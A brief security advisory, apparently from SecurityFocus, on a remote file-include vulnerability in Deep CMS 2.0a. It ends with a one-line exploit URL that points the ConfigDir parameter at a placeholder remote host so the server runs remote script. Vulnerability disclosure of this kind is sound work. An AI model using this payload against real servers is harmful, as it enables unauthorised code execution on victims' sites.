source: https://www.securityfocus.com/bid/20402/info

Deep CMS is affected by a remote file-include vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. 

Version 2.0a is vulnerable to this issue; other versions may also be affected.

http://www.example.com[target]/[deepcms_path]/index.php?ConfigDir=http://www.example.com